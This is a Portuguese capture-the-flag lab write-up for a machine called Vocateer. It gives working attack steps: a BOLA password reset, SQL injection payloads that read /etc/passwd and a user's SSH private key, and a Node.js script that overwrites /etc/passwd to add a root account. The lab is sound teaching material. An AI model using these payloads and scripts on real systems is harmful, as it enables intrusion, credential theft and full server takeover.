- Published on
Vocateer Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165

Port Scanning
nmap -sC -sV -p- -v $IP --open -T 5

Somente as portas 22 (SSH), 80 (HTTP) e 3000 (Node.js) estão abertas.
Enumeration
http://172.16.5.196

Precisamos adicionar o endereço no nosso arquivo de configuração de hosts.
sudo vim /etc/hosts

Agora podemos acessar a aplicação:

Após criarmos nossa conta em Create account
e logar na aplicação, podemos ver que um JWT está sendo utilizado como Cookie de sessão.

Ao analisar o JWT, podemos ver que nossa conta está como ‘free’
, e só podemos nos candidatar as vagas de emprego se tivermos acesso ao premium da plataforma.

A aplicação também possui uma funcionalidade de trocar de senha.

Após trocar a senha e interceptar a requisição, podemos ver que ele faz uma requisição a API da aplicação.

Se de alguma forma conseguirmos acesso aos usuários da aplicação, podemos testar a vulnerabilidade BOLA (Broken Object Level Authorization), para tentar trocar a senha de outro usuário.
Normalmente as APIs possuem rotas como /api/users
, /api/v1/users
ou /api/v2/users
que acabam listando os usuários.
Ao fazer a requisição para a rota /api/users
podemos ver o ID do usuário clopez
, que possui a role premium, vamos trocar a senha dele.


Agora temos acesso a funcionalidade de aplicar para as vagas de emprego.

Após clicar em Apply Now
e interceptar a requisição, podemos ver que uma delas é pra rota /api/jobs
, e quando passamos uma aspas simples na requisição, a aplicação retorna um código 500 (Internal Server Error), indicando um possível SQL Injection.


a' UNION SELECT 1,2,3 #
OBS: lembre-se de encodar a payload em URL-encode all characters


SQL Injection confirmado 😀
Com isso, podemos utilizar a função LOAD_FILE()
para ler arquivos do servidor, por exemplo o /etc/passwd
a' UNION SELECT 1, LOAD_FILE ('/etc/passwd'),3 #

Foot Hold
Como a maquina possui um servidor ssh aberto, podemos tentar ler a chave ssh do usuário roger
, que achamos no arquivo /etc/passwd
a' UNION SELECT 1, LOAD_FILE ('/home/roger/.ssh/id_rsa'),3 #

echo "chave ssh" > id_rsa
chmod 600 id_rsa
ssh roger@IP -i id_rsa


Privillege Escalation
Binário /usr/bin/node
com a Capability cap_dac_override
que nos permite sobrescrever qualquer arquivo do servidor.
getcap -r / 2>/dev/null

Com isso, podemos adicionar um novo usuário como root no sistema a partir do arquivo /etc/passwd
cp /etc/passwd .
openssl passwd -1
# adicionei meu usuário como root na ultima linha
talon:$1$8C768ERL$H29rFHRyekRriZwML6bOO.:0:0:root:/root:/bin/bash

Após isso, precisamos sobrescrever o arquivo passwd original, utilizei um exploit em JavaScript para isso.
exploit.js
const fs = require('fs')
const path = require('path')
const localPasswdPath = path.join(__dirname, 'passwd')
const systemPasswdPath = '/etc/passwd'
fs.readFile(localPasswdPath, 'utf8', (err, data) => {
if (err) {
console.error('Erro ao ler o arquivo passwd local:', err.message)
process.exit(1)
}
fs.writeFile(systemPasswdPath, data, (err) => {
if (err) {
console.error('Erro ao sobrescrever o arquivo /etc/passwd:', err.message)
process.exit(1)
}
console.log('Arquivo /etc/passwd sobrescrito com sucesso!')
})
})

Proof
